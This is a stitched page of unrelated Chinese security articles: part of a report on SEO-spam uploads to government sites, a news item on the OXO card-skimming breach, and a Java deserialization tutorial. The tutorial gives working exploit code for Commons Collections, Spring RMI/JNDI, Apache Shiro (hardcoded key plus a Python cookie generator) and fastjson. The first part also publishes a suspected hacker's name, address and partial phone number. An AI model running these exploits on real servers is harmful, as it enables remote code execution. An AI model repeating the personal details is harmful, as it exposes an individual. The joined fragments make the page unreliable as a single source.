 2020-06-28 15:48:56 58.216.*.* ql.*.org.cn /api.php?op=upload_json&dir=image
 2020-06-28 15:49:11 58.216.*.* ql.*.org.cn /api.php?op=upload_json&dir=image
 2020-06-28 17:04:47 58.216.*.* jyj.*.gov.cn /api.php?op=upload_json&dir=file
 2020-06-28 11:04:33 58.216.*.* ciip.*.gov.cn /api.php?op=upload_json&dir=image
 2020-06-28 11:37:09 58.216.*.* zx.*.gov.cn /api.php?op=upload_json&dir=image
 2020-06-28 11:37:13 58.216.*.* zx.*.gov.cn /api.php?op=upload_json&dir=image
 2020-06-28 11:37:17 58.216.*.* zx.*.gov.cn /api.php?op=upload_json&dir=image
 2020-06-28 11:37:20 58.216.*.* zx.*.gov.cn /api.php?op=upload_json&dir=image  2020-06-28 16:30:20 58.216.*.* www.*.gov.cn /editor/kindeditor/php/upload_json.php?dir=image
 2020-06-28 16:31:17 58.216.*.* www.*.gov.cn /editor/kindeditor/php/upload_json.php?dir=image
 2020-06-28 16:39:01 58.216.*.* www.*.gov.cn /editor/kindeditor/php/upload_json.php?dir=image
 2020-06-28 16:39:12 58.216.*.* www.*.gov.cn /editor/kindeditor/php/upload_json.php?dir=image
 2020-06-28 12:08:24 58.216.*.* jyj.*.gov.cn /api.php?op=upload_json&dir=image
 2020-06-28 12:08:36 58.216.*.* jyj.*.gov.cn /api.php?op=upload_json&dir=image
 2020-06-28 16:49:55 58.216.*.* gxj.*.gov.cn /api.php?op=upload_json&dir=file
 2020-06-28 16:51:03 58.216.*.* zfhcxjsj.*.gov.cn /api.php?op=upload_json&dir=image
2020-06-28 16:51:10 58.216.*.* zfhcxjsj.*.gov.cn /api.php?op=upload_json&dir=image
 2020-06-28 16:51:18 58.216.*.* zfhcxjsj.*.gov.cn /api.php?op=upload_json&dir=image

有着相同的规律:每5秒到10秒就发送一次POST非法SEO页面请求,且该IP在三天内没有一次访问过受害网站,因此可以判断黑客利用非法工具对网站进行了批量上传页面操作。

5. 黑客溯源

经分析,这些网站都有共同存在的暗链:

链接 描述
www.ikaidian.net/css.js 恶意伪造虚假八卦消息的网站
www.htmljpg.com 外表小说网站其实暗链综合网站
www.113112.xyz 存储大量色情图片的网站

www.ikaidian.net/css.js 截图如下:

图 17

 

www.ikaidian.net/404.js的内容截图如下:

图 18

 

继续打开,里面藏着一个账号:E-mail:[email protected]

图 19

 

用谷歌搜索,所有结果都是色情页面,布局格式和上文找到植入非法SEO内容一致:

图 20

 

必应搜索结果如下所示:

图 21

 

点进网页,搜索源码,发现一段有效信息:

图 22

 

有效信息如下:

Name: facai chen
Street: guangdongshengzhongshanshizhongshanjie
Postal Code: 528400
Phone: +86.1317****648
Email: [email protected]

邮编与街道相符,手机号为山东滨州联通的电话号码。

微信查找手机号,疑似黑客的微信:

图 23

 

微信头像疑似为本人照片:

图 24

 

根据追溯结果显示,该漏洞已被国内黑产人员大批量自动化利用。

 

6. 总结

经过知道创宇云防御团队的持续监测和追踪,2020年4月至6月被利用FCKeditor、UEditor、KindEditor编辑器漏洞植入非法SEO页面的网站已有6,802个,总计被植入4,955,586个非法SEO内容页面,主要涉及的网站包括政府机关、教育、金融等多个行业,且被非法植入SEO内容页面的网站数量正呈上升趋势各网站需及时升级相关编辑器版本,及时修复漏洞,避免网站被不法分子利用。

据Security Week报道,总部位于纽约的制造商OXO International在近日透露,在过去的几年里,黑客曾多次试图窃取其客户的支付卡数据。

28318162281_b6e123a1fd_c.jpg

OXO是一家厨房用具、办公用品和家庭用品的制造商,提供超过1000种产品,涵盖家庭和办公室的各个领域,该公司在美国、英国、德国和日本均有购物网站。

近日,OXO在一封同时发给了其客户和加州检察长办公室的信中透露,其美国网站遭到了不知名黑客的入侵,并试图窃取网站的用户信息。

OXO表示在2018年12月17日发现了黑客入侵的事实:“目前,我们已确认这3段时期的客户订单信息可能被泄露,分别是2017年6月9日 – 2017年11月28日、2018年6月8日 – 2018年6月9日及2018年7月20日 – 2018年10月16日。”被盗信息可能包括用户姓名、账单地址以及支付卡信息,OXO建议受影响的用户联系信用报告机构,设置一个诈骗警报作为额外保护措施。

此外,OXO没有提供受影响用户数量或泄密方式的具体细节,但表示攻击者使用了“未经授权的代码”窃取客户信息:“我们会将一些其他的证据交给法院的调查员以确定网站的历史漏洞。目前,我们已经调查了恶意代码的性质,删除了未经授权的代码,进行了系统扫描并重新发布了访问凭证。”

“同款”代码在黑客MageCart Hackers的攻击行为中也曾出现过,他们在受感染的电子商务网站上安装信用卡读取器捕获和泄露任何进入网站的用户信息。总部位于孟菲斯的Titan Manufacturing and Distributing 也在最近透露,其系统存在漏洞并被安装了恶意代码,用于收集和窃取客户信息,包括支付卡详细信息。

然而,网络信息读取器并不是黑客MageCart Hackers独有的,不少不法分子也滥用此类恶意代码来收集支付卡信息,如入侵电子商务网站、设置知名品牌的高仿网站等。

*本文作者:知道创宇云安全,转载请注明来自FreeBuf.COM

Java反序列化漏洞是与java相关的漏洞中最常见的一种,也是网络安全工作者关注的重点。在cve中搜索关键字serialized共有174条记录,其中83条与java有关;搜索deserialized共有20条记录,其中10条与java有关。这些出现反序列化漏洞的框架和组件包括的大名鼎鼎的spring,其中还有许多Apache开源项目中的基础组件。例如Apache Commons Collections。 这些基础组件大量被其他框架或组件引用,一旦出现漏洞就会引起大面积的网络安全事故,后果非常严重。比较出名的反序列化漏洞有:

2015 – Apache Commons Collections

2016 – Spring RMI

2017 – Jackson,FastJson

反序列化漏洞总结给出了近几年出现的反序列化漏洞。

本文主要对java反序列化机制进行简要说明,并对java反序列化漏洞的成因进行分析以及提出一些用于防止反序列化产生安全问题的手段。

java反序列化简介

序列化与反序列化是java提供的用于将对象进行持久化便于存储或传输的手段。序列化可以将对象存储在文件或数据库中,同时也可以将序列化之后的对象通过网络传输;反序列化可以将序列化后的对象重新加载到内存中,成为运行时的对象。

在java中,主要通过ObjectOutputStream中的writeObject()方法对对象进行序列化操作,ObjectInputStream 中的readObject() 方法对对象进行反序列化操作。需要序列化的对象必须实现@serializable接口。需要注意的是,如果被序列化或反序列化的类中存在writeObject()|readObject()方法,则在进行序列化|反序列化之前就会调用该方法。这通常是引起反序列化漏洞的一个重要特性。下面通过一段简单的代码认识一下java的序列化与反序列化:

首先定义一个User类用于序列化:

public class User implements Serializable{        private int age;      
  private String username;        private String password;       
 User(){            this.age = 10;            this.username = "test";    
        this.password = "test";        }        //在序列化之前被调用       
 private void writeObject(ObjectOutputStream os) throws IOException {    
        os.defaultWriteObject();           
 System.out.println("readObject is running!");        }        
//在反序列化之后被调用        private void readObject(ObjectInputStream is) throws
 IOException, ClassNotFoundException {           
 is.defaultReadObject();            System.out.println("writeObject is 
running!");        }        @Override        public String toString() {  
          return "User{" +                    "age=" + age +            
        ", username='" + username + '\'' +                    ", 
password='" + password + '\'' +                    '}';            }    
 }

然后进行序列化|反序列化操作:

public static void main(String args[]) throws IOException, 
ClassNotFoundException {              User user = new User();        
//将序列化对象存储在serialize_data中        ObjectOutputStream oos = new 
ObjectOutputStream(new FileOutputStream("serialize_data"));       
 System.out.println("serialize");        oos.writeObject(user);//序列化    
    oos.close();        //存储在serialize_data中的对象反序列化       
 ObjectInputStream ois = new ObjectInputStream(new 
FileInputStream("serialize_data"));       
 System.out.println("deserialize");        User userDeserialize = 
(User)ois.readObject();//反序列化       
 System.out.println(userDeserialize.toString());        ois.close();    }
    //输出结果    /*    serialize    readObject is running!    deserialize  
  writeObject is running!    User{age=10, username='test', 
password='test'}          */    

可以看出,自定义的readObject|writeObject方法确实在序列化反与反序列化的过程中被调用了。

Apache Commons Collections 反序列化漏洞

下面就从一个实例来看一下java反序列化如何导致系统命令执行的。

Commons Collections是一个apache开源的集合类工具组件,在2015年爆出有反序列化漏洞。有大量的框架受到其影响。如:WebLogic,Jenkins,Jboss等。

Conmmons Collections中有一个TransformedMap ,其作用是对普通的map进行装饰,在被装饰过的map添加或者修改键值对时会首先调用其中Transformer 类的transform() 方法。TransformedMap 的构造函数可以传入单个Transformer。多个Transformer 构成的数组还可以构成执行链。听起来很复杂,下面看一下代码:

public class Main {    public static void main(String[] args) throws 
IOException, ClassNotFoundException {        //Transformer 
有很多种,ConstantTransformer的作用是对于任何输入的参数都返回构造函数输入的对象        Transformer 
transformer = new ConstantTransformer(new Integer(3));       //普通map    
    Map<String,String> rawMap = new HashMap<String, 
String>();        //装饰后的map        Map map = 
TransformedMap.decorate(rawMap,transformer,transformer);       
 map.put("dfd","dfsf");       //输出装饰后内容        map.forEach((k,v)->{  
          System.out.println(k+":"+v);        });    }}//console 
output//3:3

从输出结果可以看出,放在rawMap 中的键值对已经被转换成了ConstantTransformer 构造函数传入的整数对象。因此我们可以利用InvokerTransformer 构造一个调用链来进行恶意命令的执行。代码如下:

public class Main {    public static void main(String[] args) throws 
IOException, ClassNotFoundException {         Transformer[] transformers
 = new Transformer[]{         new ConstantTransformer(Runtime.class),    
     new InvokerTransformer("getMethod",new 
Class[]{String.class,Class[].class},new Object[]{"getRuntime",new 
Class[0]}),         new InvokerTransformer("invoke",new 
Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),  
       new InvokerTransformer("exec",new Class[]{String.class},new 
Object[]{"evilCmd"})         };         Transformer transformer = new 
ChainedTransformer(transformers);         Map<String,String> 
rawMap = new HashMap<>();         Map map = 
TransformedMap.decorate(rawMap,null,transformer);         
map.put("aaa","bbb");    }}

其中构造了几个InvokerTransformer ,其中每一个transform()的输入分别是前一个transform() 方法的输出。因此这段代码翻译过来等价于:

((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("evilCmd");

这样就可以通过Transform调用链来执行系统命令。

此时,我们提到的Commons Collections并没有与反序列有关,也不能系统命令执行。但是由于AnnotationInvocationHandler这个类的存在,和上面的一些点结合起来,就产生了安全隐患。

class AnnotationInvocationHandler implements InvocationHandler, 
Serializable {    private static final long serialVersionUID = 
6182022883658399397L;    private final Class<? extends Annotation>
 type;    private final Map<String, Object> memberValues;   
 private transient volatile Method[] memberMethods = null;   
 AnnotationInvocationHandler(Class<? extends Annotation> var1, 
Map<String, Object> var2) {        Class[] var3 = 
var1.getInterfaces();        if (var1.isAnnotation() && 
var3.length == 1 && var3[0] == Annotation.class) {           
 this.type = var1;            this.memberValues = var2;        } else {  
          throw new AnnotationFormatError("Attempt to create proxy for a
 non-annotation type.");        }    }     private void 
readObject(ObjectInputStream var1) throws IOException, 
ClassNotFoundException {        GetField var2 = var1.readFields();      
  Class var3 = (Class)var2.get("type", (Object)null);        Map var4 = 
(Map)var2.get("memberValues", (Object)null);        AnnotationType var5 =
 null;        try {            var5 = AnnotationType.getInstance(var3);  
      } catch (IllegalArgumentException var13) {            throw new 
InvalidObjectException("Non-annotation type in annotation serial 
stream");        }        Map var6 = var5.memberTypes();       
 LinkedHashMap var7 = new LinkedHashMap();        String var10;       
 Object var11;        for(Iterator var8 = var4.entrySet().iterator(); 
var8.hasNext(); var7.put(var10, var11)) {            Entry var9 = 
(Entry)var8.next();            var10 = (String)var9.getKey();           
 var11 = null;            Class var12 = (Class)var6.get(var10);          
  if (var12 != null) {                var11 = var9.getValue();          
      if (!var12.isInstance(var11) && !(var11 instanceof 
ExceptionProxy)) {                    var11 = (new 
AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + 
"]")).setMember((Method)var5.members().get(var10));                }    
        }        }       ...    }}

AnnotationInvocationHandler是这样一个类:

可序列化

有一个Map 类型的属性

readObject() 方法中调用了Map属性 的setValue()方法。

如果攻击者进行构造一个AnnotationInvocationHandler对象,其Map 属性的实际类型为TransformedMap ,并且将其中的Transformer构造为恶意调用链。那么在反序列化过程中就会执行readObject(),继而执行TransformedMap属性的setValue()方法,导致TransformedMap中值的改变,然后触发攻击者构造的恶意恶意调用链。最后产生系统命令执行的漏洞。漏洞的逻辑如下:

Deserialize -> call readObject() -> call setValue()-> call transform() -> call Runtime.exec()

Spring RMI反序列化漏洞

JNDI在了解Spring RMI反序列化漏洞之前需要了解RMI以及JNDI这两个概念:

RMI(Remote Method Invocation) 即Java远程方法调用,一种用于实现远程过程调用的应用程序编程接口

JNDI (Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口

JNDI和RMI的主要关系是RMI注册的服务可以通过JNDIAPI访问。在讨论到Spring反序列化漏洞之前,先看看如果通过JNDI来调用RMI注册的服务。

在使用RMI注册服务时有两个较为重要的属性className和codebase url。className指明了服务的地址和名称,而codebase url指明了调用时对象的位置。一个简单的RMI注册服务如下:

xxxxxxxxxx Registry registry = LocateRegistry.createRegistry(1999);        Reference reference = new Reference(“RMIObject”, “RMIObject”,                ”http://127.0.0.1:8000/“);//实际加载的类为 http://127.0.0.1:8000/RMIObject.class        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);        registry.bind(“RMI”, referenceWrapper);//服务名称为RMI

当通过jndi的lookup()方法来查找127.0.0.1:1999/RMI服务时会加载http://127.0.0.1:8000/RMIObject.class这个类,加载成功后会调用RMIObject的构造方法。如果构造方法中存在恶意代码,就会引起RCE。

而在spring-tx.jar的JtaTransactionManager中存在readObject方法。该方法代码如下:

xxxxxxxxxxprivate void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {        ois.defaultReadObject();        this.jndiTemplate = new JndiTemplate();        this.initUserTransactionAndTransactionManager();        this.initTransactionSynchronizationRegistry();   }

其中initUserTransactionAndTransactionManager()又调用了方法lookupUserTransaction(),lookupUserTransaction()代码如下:

xxxxxxxxxx protected UserTransaction lookupUserTransaction(String userTransactionName) throws TransactionSystemException {   …     return (UserTransaction)this.getJndiTemplate().lookup(userTransactionName,                                                            UserTransaction.class);   …}

其中userTransactionName就是我们上面提到的RMI服务地址。因此,如果我们构造一个JtaTransactionManager对象,并且将这个对象的userTransactionName设置为我们自己的RMI服务器,并且使这个类在目标服务器上进行反序列化,在反序列化的过程中会执行lookup()方法,而lookup方法的参数即RMI服务的地址是我们自己设置的地址,通过这个地址会返回一个恶意的对象,然后在实例化该对象的过程中就产生了RCE。流程图如下:

xxxxxxxxxx反序列化 -> 调用 readObject() -> 调用 initUserTransactionAndTransactionManager()  -> 调用 lookupUserTransaction() -> 调用 lookup() -> 实例化含有恶意代码的类 -> 造成命令执行

在本机搭建一个测试环境,Server类模拟接受数据并进行反序列化的服务器:

xxxxxxxxxxServerSocket serverSocket = new ServerSocket(9999);System.out.println(“Server started on port “+serverSocket.getLocalPort());while(true) {    Socket socket=serverSocket.accept();    System.out.println(“Connection received from “+socket.getInetAddress());    ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());    try {        Object object = objectInputStream.readObject();        System.out.println(“Read object “+object);   } catch(Exception e) {        System.out.println(“Exception caught while reading object”);        e.printStackTrace();   }}

RMIServer模拟我们的codebase服务器:

xxxxxxxxxx//main:  Registry registry = LocateRegistry.createRegistry(1999);        Reference reference = new Reference(“RMIObject”, “RMIObject”,                ”http://127.0.0.1:8000/“);//实际加载的类为 http://127.0.0.1:8000/RMIObject.class        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);        registry.bind(“RMI”, referenceWrapper);//服务名称为RMI        //开启http服务        HttpServer httpServer = HttpServer.create(new InetSocketAddress(8000), 0);        httpServer.createContext(“/”,new HttpFileHandler());        httpServer.start();//HttpFileHandler: System.out.println(“new http request from “+httpExchange.getRemoteAddress()+” “+httpExchange.getRequestURI());                InputStream inputStream = HttpFileHandler.class.getResourceAsStream(httpExchange.getRequestURI().getPath().replace(“/”,”"));                ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();                while(inputStream.available()>0) {                    byteArrayOutputStream.write(inputStream.read());               }                byte[] bytes = byteArrayOutputStream.toByteArray();                httpExchange.sendResponseHeaders(200, bytes.length);                httpExchange.getResponseBody().write(bytes);                httpExchange.close();

RMIObject为payload:

xxxxxxxxxxprivate static String exec(String cmd) throws Exception {        String sb = “”;        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));        String lineStr;        while ((lineStr = inBr.readLine()) != null)            sb += lineStr + “\n”;        inBr.close();        in.close();        return sb;   }    public RMIObject() throws Exception {        String cmd=”gnome-calculator”;        throw new Exception(exec(cmd));   }

然后使用Client发送payload:

xxxxxxxxxx   Socket socket=new Socket(“127.0.0.1″,9999);            String jndiAddress = “rmi://127.0.0.1:1999/RMI”;            org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();            object.setUserTransactionName(jndiAddress);            ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());            objectOutputStream.writeObject(object);            objectOutputStream.flush();//发送payload            while(true) {                Thread.sleep(1000);           }

运行结果为:

springrec.png

shiro反序列化漏洞

Apache Shiro是一个Java安全框架,有身份验证、授权、密码学和会话管理等功能。shiro官方编号为550的issue曾报出反序列化漏洞。根据官方的issuehttps://issues.apache.org/jira/browse/SHIRO-550。漏洞的出现在CookieRememberMeManager中。shiro将一个用于进行验证的类编码、加密后保存在cookie中。在需要对一个用户的身份进行鉴定时,CookieRememberMeManager会进行以下步骤:

获取用户cookie中rememberMe对应的值

Base64解码

AES解密

反序列步骤3得到的内容

可以看出步骤4变进行了序列化与反序列化,这里也就有了RCE的机会。但是从第3点看,在进行反序列化之前还进行了AES解密。这里简短的提一下AES是一种对称加密方式,也就是加密密钥和解密密钥相同。当我们知道AES加密的密钥,IV(初始化向量),模式这三个要点之后就可以构造一个服务器能够正常解密的数据包。当然,攻击者一般不知道密钥的内容,但是CookieRememberMeManager是硬编码在源代码中的,可以随意下载查看。同时大部分的用户并不会对初始的密钥进行修改,这也就导致了漏洞的产生。这里也说明了在使用一些开源组件的时候,最开始一定要对一些默认的安全选项、信息进行修改,避免产生安全漏洞。

回到CookieRememberMeManager源代码上,在其父类AbstractRememberMeManager中可以看到属性DEFAULT_CIPHER_KEY_BYTES,也就是硬编码的密钥为:

xxxxxxxxxxprivate static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode(“kPH+bIxk5D2deZiIxcaaaA==”);

然后查看其中的encrypt()方法:

xxxxxxxxxx protected byte[] encrypt(byte[] serialized) {        byte[] value = serialized;        CipherService cipherService = this.getCipherService();        if (cipherService != null) {            ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());            value = byteSource.getBytes();       }        return value;   }

其中使用了CipherService进行加密,其真正类型DefaultBlockCipherService中构造函数中有:

xxxxxxxxxx  public DefaultBlockCipherService(String algorithmName) {       …        this.modeName = OperationMode.CBC.name(); … }

这里里可以看出加密的采用的CBC模式。再查看DefaultBlockCipherService的父类JcaCipherService其中一个函数:

xxxxxxxxxxpublic void encrypt(InputStream in, OutputStream out, byte[] key) throws CryptoException { …    this.encrypt(in, out, key, iv, generate);}

可以看出shiro直接将IV写入OutputStream中,随后写入Cookie中。而从initializationVectorSize还可以得知IV的长度为128比特,也就是16字节。因此我们便能推断出cookie的前16个字节为IV。到此AES加密的三要素密钥,IV,模式就已经完全取得了。

最后在DefaultSerializer中找到deserialize()方法:

xxxxxxxxxxpublic T deserialize(byte[] serialized) throws SerializationException {        if (serialized == null) {            String msg = “argument cannot be null.”;            throw new IllegalArgumentException(msg);       } else {            ByteArrayInputStream bais = new ByteArrayInputStream(serialized);            BufferedInputStream bis = new BufferedInputStream(bais);            try {                ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);                T deserialized = ois.readObject();                ois.close();                return deserialized;           } catch (Exception var6) {                String msg = “Unable to deserialze argument byte array.”;                throw new SerializationException(msg, var6);           }       }   }

可以看到其中有readObject() 方法,然后可以采用Apache Commons Collections 反序列化漏洞提到的方法构造payload即可。具体流程如下:

构造恶意类并序列化

将序列化后的数据利用AES进行加密

将加密后的数据进行base64编码

设置cooke : rememberMe = base64编码得到的数据

发送payload

使用python和ysoserial构造exp:

xxxxxxxxxximport sysimport base64import uuidfrom random import Randomimport subprocessfrom Crypto.Cipher import AES def encode_rememberme(command):    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5-SNAPSHOT-all.jar', 'CommonsCollections2', "gnome-calculator"], stdout=subprocess.PIPE)    BS   = AES.block_size    pad = lambda s: s + ((BS – len(s) % BS) * chr(BS – len(s) % BS)).encode()    key =  ”kPH+bIxk5D2deZiIxcaaaA==”    mode =  AES.MODE_CBC    iv   =  uuid.uuid4().bytes    encryptor = AES.new(base64.b64decode(key), mode, iv)    file_body = pad(popen.stdout.read())    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))    return base64_ciphertextif __name__ == ‘__main__’:    payload = encode_rememberme(sys.argv[1])        with open(“/tmp/payload.cookie”, “w”) as fpw:        print(“rememberMe={}”.format(payload.decode()), file=fpw)

在本地搭建一个shiro应用,端口为8080,使用httpie发送payload:

http :8080/hello Cookie:cat /tmp/payload.cookie

可以弹出计算器:

shiro.png

fastjson反序列化

fastjson是由阿里巴巴维护的一个处理json数据的一个开源库,在2017年爆出有反序列化漏洞。先看一下基本用法:

User user = new 
User();user.setUsername("lily");user.setSex("girl");String userStr = 
JSON.toJSONString(user, 
SerializerFeature.WriteClassName);System.out.println(userStr);Object 
user2 = 
JSON.parseObject(userStr);System.out.println(user2);//output:run!{"@type":"com.knownsec.fastjson.rce.User","Sex":"girl","Username":"lily","sex":"girl","username":"lily"}run!{"username":"lily","sex":"girl","Username":"lily","Sex":"girl"}

其中User类如下:

public class User {    public String Username;    public String Sex;   
 public String getUsername() {        return Username;   }    public 
void setUsername(String username) {          
 System.out.println("run!");        Username = username;   }    public 
String getSex() {        return Sex;   }    public void setSex(String 
sex) {           Sex = sex;   }}

可以看出在序列化和反序列化的同时都会调用set方法。因此如果能找到一个类,类中的某一个set方法可以由我们控制,就有机会产生RCE。

而在类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中,有一个属性为_outputProperties,理论上来说_outputProperties对应的set方法为get_outputProperties(),但是fastjson的特性,自动将getOutputProperties()匹配为对应get方法。因此在fastjson对TemplatesImpl类型进行反序列化时会调用getOutputProperties()方法。而接下来又会调用一系列方法,最后达到getTransletInstance(),该方法中会根据TemplatesImpl的_bytecodes实例化一个对象,而该属性正好是我们可控制的。完整的调用栈为:

getTransletInstance()getTransletInstance( )newTransformer()getOutputProperties()

其中getTransletInstance()代码如下:

private Translet getTransletInstance()    throws 
TransformerConfigurationException {      try {          if (_name == 
null) return null;          if (_class == null) defineTransletClasses();
          AbstractTranslet translet = (AbstractTranslet) 
_class[_transletIndex].newInstance();          ...          return 
translet;      }      catch (InstantiationException e) {      }     
 catch (IllegalAccessException e) {      }    }

可以看出,在newInstance()的时候会将示例的类型强转为AbstractTranslet,因此构造的payload的类一定要继承AbstractTranslet。最后构造一个本地测试环境:

public class POC {    public static String readClass(String cls){       
 ByteArrayOutputStream bos = new ByteArrayOutputStream();            try
 {               IOUtils.copy(new FileInputStream(new File(cls)), bos);  
     } catch (IOException e) {            e.printStackTrace();       }  
      return Base64.encodeBase64String(bos.toByteArray());      }   
 public static void test_autoTypeDeny() throws Exception {  ParserConfig
 config = new ParserConfig();    final String evilClassPath = 
"/home/lishion/IdeaProjects/springrec/target/classes/com/fastjson/rce/Test.class";
       String evilCode = readClass(evilClassPath);    final String 
NASTY_CLASS = 
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";    String 
text1 = "{\"@type\":\"" + NASTY_CLASS +       
 "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_outputProperties\":{
    }," +       
 "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
    System.out.println(text1);    Object obj = JSON.parseObject(text1, 
Object.class, config, Feature.SupportNonPublicField);      }    public 
static void main(String args[]){        try {           
 test_autoTypeDeny();       } catch (Exception e) {           
 e.printStackTrace();          }   }}

最后弹出计算器:

fastjson.png

如何发现反序列化漏洞

0xaced0005为java反序列化头标志,可以通过嗅探网络流量中是否包含该二进制序列来判断服务器是否对网络数据进行序列化。

进行代码审计,分析重写了readObject()的类和使用了ObjectInputStream方法中是否存在不安全逻辑。

java RMI 技术基于反序列化,其默认端口为1099。

查看项目是否依赖于已经产生反序列化漏洞的组件。

java反序列化漏洞防护

对于由开源项目和各种开源组件引起的漏洞通常是无法预料的,使用这些项目的的开发者也不太可能在使用之前对所有依赖项目和组件都进行安全分析。因此对于这些漏洞,开发者要做到经常关注一些漏洞公布平台,在发现漏洞后做到及早修复,将损失降到最低。

对于自己所编写的代码,可以通过以下手段来防范反序列化安全问题:

在RMI中使用反序列化时,序列化字节的来源基本是协同工作的服务器。如果普通的用户不会与服务器进行反序列化的数据交互,那么有必要对反序列化数据来源进行认证,避免反序列化不信任来源的数据。

对反序列化的类名进行白名单校验。继承ObjectInputStream重写resolveClass()方法可以实现:

public final class SafeObjectInputStream extends ObjectInputStream{    

   ...    private List safeClassNames = new ArrayList();   
 safeClassNames.add("safeClass1");    safeClassNames.add("safeClass1");  
  safeClassNames.add("safeClass1");   ...    protected    Class<?>
 resolveClass(ObjectStreamClass desc)            throws IOException, 
ClassNotFoundException{         
if(!safeClassNames.contains(desc.getName())){ //如果类名不在白名单中,抛出异常         
      throw new ClassNotFoundException(desc.getName()+" is not safe!");  
     }        returnsuper.resolveClass(desc);   }   ...}    

禁止JVM执行外部命令Runtime.exec()。

cve上与java相关的反序列化漏洞

CVE-2018-0147: vulnerability in Java deserialization used by Cisco Secure AccessControl System (ACS) prior to release 5.8 patch 9 could allow anunauthenticated, remote attacker to execute arbitrary commands on a…

CVE-2017-9844:AP NetWeaver 7400.12.21.30308 allows remote attackers to cause adenial of service and possibly execute arbitrary code via a craftedserialized Java object in a request to metadatauploader, aka SAPS…

CVE-2017-7504:TTPServerILServlet.java in JMS over HTTP Invocation Layer of theJbossMQ implementation, which is enabled by default in Red Hat JbossApplication Server <= Jboss 4.X does not restrict the classes for…

CVE-2017-5983:he JIRA Workflow Designer Plugin in Atlassian JIRA Server before6.3.0 improperly uses an XML parser and deserializer, which allowsremote attackers to execute arbitrary code, read arbitrary files, o…

CVE-2017-5878:he AMF unmarshallers in Red5 Media Server before 1.0.8 do notrestrict the classes for which it performs deserialization, whichallows remote attackers to execute arbitrary code via craftedserialize…

CVE-2017-5586:penText Documentum D2 (formerly EMC Documentum D2) 4.x allows remoteattackers to execute arbitrary commands via a crafted serialized Javaobject, related to the BeanShell (bsh) and Apache Commons Co…

CVE-2017-15708:n Apache Synapse, by default no authentication is required for JavaRemote Method Invocation (RMI). So Apache Synapse 3.0.1 or allprevious releases (3.0.0, 2.1.0, 2.0.0, 1.2, 1.1.2, 1.1.1) allowsre…

CVE-2017-1000353:enkins versions 2.56 and earlier as well as 2.46.1 LTS and earlierare vulnerable to an unauthenticated remote code execution. Anunauthenticated remote code execution vulnerability allowed attackers…

CVE-2016-9299:he remoting module in Jenkins before 2.32 and LTS before 2.19.3allows remote attackers to execute arbitrary code via a craftedserialized Java object, which triggers an LDAP query to a third-partys…

CVE-2016-7065:he JMX servlet in Red Hat JBoss Enterprise Application Platform (EAP)4 and 5 allows remote authenticated users to cause a denial of serviceand possibly execute arbitrary code via a crafted serializ…

CVE-2016-6814:hen an application with unsupported Codehaus versions of Groovy from1.7.0 to 2.4.3, Apache Groovy 2.4.4 to 2.4.7 on classpath usesstandard Java serialization mechanisms, e.g. to communicate between…

CVE-2016-6809:pache Tika before 1.14 allows Java code execution for serializedobjects embedded in MATLAB files. The issue exists because Tika invokesJMatIO to do native deserialization.

CVE-2016-6793:he DiskFileItem class in Apache Wicket 6.x before 6.25.0 and 1.5.xbefore 1.5.7 allows remote attackers to cause a denial of service(infinite loop) and write to, move, and delete files with theperm…

CVE-2016-6501:Frog Artifactory before 4.11 allows remote attackers to executearbitrary code via an LDAP attribute with a crafted serialized Javaobject, aka LDAP entry poisoning.

CVE-2016-6500:nspecified methods in the RACF Connector component before 1.1.1.0 inForgeRock OpenIDM and OpenICF improperly call the SearchControlsconstructor with returnObjFlag set to true, which allows remotea…

CVE-2016-6496:he LDAP directory connector in Atlassian Crowd before 2.8.8 and 2.9.xbefore 2.9.5 allows remote attackers to execute arbitrary code via anLDAP attribute with a crafted serialized Java object, aka L…

CVE-2016-6199:bjectSocketWrapper.java in Gradle 2.12 allows remote attackers toexecute arbitrary code via a crafted serialized object.

CVE-2016-5983:BM WebSphere Application Server (WAS) 7.0 before 7.0.0.43, 8.0 before8.0.0.13, 8.5 before 8.5.5.11, 9.0 before 9.0.0.2, and Liberty before16.0.0.4 allows remote authenticated users to execute arbit…

CVE-2016-5003:he Apache XML-RPC (aka ws-xmlrpc) library 3.1.3, as used in ApacheArchiva, allows remote attackers to execute arbitrary code via acrafted serialized Java object in an ex:serializable element.

CVE-2016-4385:he RMI service in HP Network Automation Software 9.1x, 9.2x, 10.0xbefore 10.00.02.01, and 10.1x before 10.11.00.01 allows remoteattackers to execute arbitrary commands via a crafted serialized Java…

CVE-2016-4373:he AdminUI in HPE Operations Manager (OM) before 9.21.130 on Linux,Unix, and Solaris allows remote attackers to execute arbitrarycommands via a crafted serialized Java object, related to the Apache…

CVE-2016-4372 :P E iMC PLAT before 7.2 E0403P04, iMC EAD before 7.2 E0405P05, iMC APMbefore 7.2 E0401P04, iMC NTA before 7.2 E0401P01, iMC BIMS before 7.2E0402P02, and iMC UAM_TAM before 7.2 E0405P05 allow remote …

CVE-2016-4369 :P E Discovery and Dependency Mapping Inventory (DDMi) 9.30, 9.31,9.32, 9.32 update 1, 9.32 update 2, and 9.32 update 3 allows remoteauthenticated users to execute arbitrary commands via a craftedse…

